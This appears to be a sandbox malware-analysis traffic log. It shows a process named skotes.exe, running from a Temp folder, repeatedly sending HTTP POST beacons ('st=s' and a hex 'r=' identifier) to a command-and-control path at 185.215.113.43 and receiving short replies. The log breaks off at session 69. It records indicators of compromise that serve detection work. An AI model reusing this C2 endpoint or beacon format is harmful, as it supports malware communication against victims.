Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50186	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:29.093420029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:29.730282068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50187	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:31.250344038 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:31.916032076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50188	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:33.531256914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:34.169450045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50189	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:35.687916994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:36.336142063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50190	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:37.967895985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:38.604806900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50191	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:40.131143093 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:40.772350073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50192	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:42.420993090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:43.058793068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50193	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:44.690130949 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:45.429305077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50194	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:47.061667919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:48.032984972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 11, 2024 12:42:48.035554886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50195	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:49.547703981 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:50.195367098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	50196	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:51.827064991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:52.465132952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50197	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:53.983186960 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:54.626759052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50198	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:56.264272928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:56.902472973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50199	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:58.422698021 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:59.066740990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50200	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:00.703449965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:01.657725096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 11, 2024 12:43:01.657886982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50201	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:03.172650099 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:03.816364050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50202	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:05.438169003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:06.076854944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50203	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:07.594913006 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:08.240430117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 12:43:08.612282991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50204	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:09.873421907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:10.510689020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50205	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:13.014743090 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:13.657350063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50206	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:15.297172070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:15.935952902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50207	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:17.453444004 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:18.095046043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50208	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
